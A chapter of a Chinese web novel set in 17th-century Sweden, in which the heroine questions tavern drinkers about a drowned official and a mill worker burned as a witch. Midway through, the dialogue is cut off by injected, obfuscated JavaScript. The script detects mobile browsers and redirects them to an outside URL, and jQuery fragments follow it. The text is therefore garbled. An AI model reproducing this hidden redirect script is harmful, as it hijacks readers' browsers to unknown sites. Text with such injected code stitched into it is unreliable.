28. 鹰巢旅馆

作品:《在17世纪画PPT成北欧女王

    朱诺先回了斯万森家。


    刚走进客厅,她就看见客厅端坐着一个优雅的背影。


    棕红色的头发依然盘得一丝不苟,宽大的深蓝缎面领口点缀着雪白的蕾丝,正是那位在纺织厂惊艳亮相过的神秘女士。


    只见她和对面的斯万森先生同时起身,后者殷勤地帮她披上披风,把她送到门口。


    这次,她看见朱诺时冲她笑了笑,甚至过来和她握了握了手,又向斯万森先生点头致意,才翩然离去。


    朱诺和斯万森先生站在门口,目送她的背影消失在院子门口。


    “你今天回来得很晚。”斯万森说。


    “你们聊得也很晚。”朱诺说,“她是谁?”


    “一个线人。”斯万森看了朱诺一眼,“和你一样。”


    “我们的任务也一样吗?我在纺织厂见过她。”


    “那也很正常,这是厂长夫人的职责。”斯万森径直走向餐桌尽头,拉开椅子坐下。


    才怪呢,厂里的工人都不认识她。


    朱诺挑了挑眉:“拉尔森夫人亲自给你递情报?”


    斯万森突然笑了,饶有兴致地说:“你管她叫什么?”


    朱诺愣了愣,意识到自己犯了个错误。


    瑞典人随父姓的方式很独特,通常是在父亲的名字后加“森”(-son)或“多特”(-dotter),意即某某的儿子、某某的女儿。比如安德·斯万森的父亲明显就叫斯万,他儿子则姓安德森;如果尼尔有妹妹,就会姓安德多特。


    而女性即使结婚也不从夫姓,因此一个女人永远不会姓“某某森”。


    好在这时管家开始往安德森面前的餐盘上放沙拉,吸引了他的注意力,他开始和管家探讨最近虾的新鲜程度。


    朱诺溜出餐厅,回了一趟房间。


    关上房门,她摊开右手,手心里是那位女士和她握手时留下的纸条,纸条上写着一个地址,落款是“戴安娜”。


    简单吃完晚饭,朱诺换上一身低调的男装,来到叶莱那当初住过的鹰巢旅馆。


    旅馆一楼是酒吧,空气中弥漫着啤酒和熏肉的香气。此时还没到最热闹的时间点,稀稀落落的客人围坐在桌边,三三两两地谈笑。


    这些人多数刚从附近的市场和码头结束一天的体力活,手指粗糙结满老茧,指甲缝带着泥,粗布衣衫洗得发白,还有人裤脚沾着未干的泥点。他们谈吐粗俗,嗓门高亢,但举手投足间却透着真实的烟火气。


    这正是朱诺想要的。她在人最多的桌边坐下,要了一杯淡啤酒。


    她没有直接问斯万森——他的一些举动已经足够引起她的警惕,他的隐藏议程会牵涉到什么还未可知。独立收集更多不受干扰的线索对她会更有利。


    她浅尝了一口淡啤酒。这时候的啤酒度数很低,气泡也很少,口感普通。


    不知是谁大声讲了个粗俗的笑话,引得整张桌子的人都哄笑起来,气氛开始热络。


    桌子另一边,一个胡子拉碴的中年男人压低了声音:“……你说,店主摊上的那个事,真是他干的吗?”


    “话不能这么说,没准真有点什么见不得人的事呢。”另一个人凑近桌面,好事的目光扫视全桌人,“毕竟,衣服真是从这儿的酒窖里搜出来的,听说还有带血的刀。”


    朱诺适时轻咳了一声,稍稍转过头:“不好意思,你们说的什么人啊?我刚进城,可不想惹上什么事。”


    她的语气很随意,但又透露出适当的好奇。


    对面一直戴着兜帽的灰衣男也附和道:“是啊,给我们讲讲吧。”


    那个胡子拉碴的男人上下打量了他们一眼,见他们穿得朴素,便靠在椅背上,耸了耸肩。


    “嗨,没什么,就是些乱七八糟的传闻。前几天斯丹冈河不是捞上来一具尸体吗?衣服被扒得干干净净,人都泡烂了。但你说巧不巧,据说是斯德哥尔摩来的大人物,就是专门来抓通缉令上那个小美女的。”


    朱诺被吓到似的说:“天哪,这么严重?”


    “是吧,这事儿之后老板娘就全权接手了,总算是有咱们一口酒喝。不过看她那个样子,估计也撑不了多久。”


    对面的灰衣男问:“你们刚说,老板不像干这事的人?”


    朱诺旁边,一个尖嘴猴腮的男人嗤笑了一声:“就他那个性格,还杀人呢,能拿个扫把打两只桌子底下乱窜的老鼠就不错了。”


    “要我说,他这辈子胆子最大的事也就是搞一下凯拉了。”中年男人露出□□,眯起眼睛扫视过来上酒的服务生。


    四下响起稀稀拉拉的笑声,柜台后的女人沉着脸看过来。


    服务生面无表情地在灰衣男面前放下淡啤酒,酒水洒出来了一些。


    朱诺感到如坐针毡。


    中年男人又压低声音,溜了柜台一眼,意味深长地说:“我估计,就是倒霉被人栽了个赃。你没看他老婆那张脸么?愁得像人人欠她酒钱,哪还有心思好好管生意。”


    灰衣男子若有所思地点点头,喝了一口酒。他抬起头时,目光和朱诺探究的目光短暂接触,又迅速转开了去。


    朱诺也收回目光,戳了戳旁边的瘦猴男:“兄弟,跟你打听个事儿——去年冬天,拉尔森纺织厂是不是出过什么事儿?”


    “那个事儿啊。”瘦猴男举起酒杯和她碰了碰,“看来你确实是外地来的,这事当时闹得挺大的。”


    朱诺扯了一下嘴角。


    她并没有刻意压低声音,所以酒桌上其他人也听见了,加入了话题。


    中年男人哼了一声:“那女的就是个婊子,一个乡下人,听说经常来城里卖,惹祸上身也不稀奇。”


    “跟那一点关系也没有。”一个人凑近桌面,向天花板看了看,仿佛这次将降下雷霆之怒的不是老板娘而是某个在天之灵,最后才压低声音说,“听说是厂主在仓库盘货,那个女巫半夜翻进来,当场就被抓住了。”


    “所以她犯了什么事吗?”朱诺冷冷地问。


    瘦猴男说:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931814|157617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “可不是嘛,她是女巫,天天半夜诅咒厂里的机器运转不顺,害得纺织厂产量下滑得厉害,那段时间确实布料啊衣服啊都奇贵来着。”


    朱诺皱起眉头,这和她听说的纺织厂生产状况可一个天上一个地下。


    对面的灰衣男好像对酒桌上的话题失去了兴趣,喝完一杯就离席了。


    她继续问:“诅咒?一个乡下女工?”


    中年男子拍了一下桌子:“你别不信!她们可擅长这个了。厂长是当着好几个人的面搜出证据的——说她身上画了血咒。城里的的牧师也去了,说这就是女巫的邪术。”


    瘦猴男喝了一声彩:“还是你知道得多啊,人脉广,是吧?”


    “拉尔森,就是那个纺织厂主,我兄弟,我们一起喝过酒。”中年男子拍着胸膛,嘴角咧开,露出几颗泛黄的牙齿。


    朱诺不动声色地喝酒,怀疑这个男的甚至不知道拉尔森长什么样。


    邻桌有个人好奇地追问:“这么说,她的下场是——?”


    “还能怎么样?”瘦猴男冷笑了一声,“点了火啊,在河边的空地上,当着全厂子人的面烧了。牧师当场宣读了判决,要用火净化林雪平、消除女巫的恶行。”


    “我看报纸上说,烧她那天人山人海,大家都在叫好。拉尔森还当众发誓,说厂子以后再也不会出什么幺蛾子了。”


    瘦猴男压低声音,神秘地说:“我就在现场,看着那女人被绑上火刑架,她脖子上有‘魔鬼的印记’!”


    四座一片哗然:“魔鬼的印记?真的假的?”


    “那还有假!”瘦猴男一拍桌子,“我亲眼看到的!牧师说了,那是魔鬼亲吻她的印记,是她背叛上帝、献身邪恶的明证!”


    邻桌人问:“后来呢?厂子真的太平了吗?”


    在座的本地人想了想:“还真别说,自从那个女巫被‘净化’了以后,布料生意好像的确回暖了些。”


    朱诺拧起了眉头。


    她从这天得到的所有信息里提取出了一些相互佐证的事实,只不过这些事实和他们提到的现象未必有因果关系。


    可以想象的是,利娜的“办法”就是半夜偷摸进纺织厂的仓库。


    人人都知道那个冬天仓库被各式各样的原料塞爆了。库房和工厂间的运货小车川流不息,原料绵绵不绝地运来,布料源源不断地运走。


    连周围村庄的妇人都被招来纺纱,有的还背着孩子。利娜三人每天在此起彼伏的婴儿哭声里沉默地把织布机踩得冒烟。


    利娜非常清楚,仓库里有上好的布匹,其中有不少出自她之手,但并不属于她。


    只要她能偷出来一些,就能很容易地出手换成钱,然后换个城市生活。


    很难想象利娜的小身板是怎么翻进仓库的,但总之她是在那里被抓到的。


    朱诺握紧了酒杯,紧皱眉头。


    她自然是不信什么“血咒”、“魔鬼印记”之说的,说不定只是利娜来着月经,或者身上有瘀伤、胎记而已。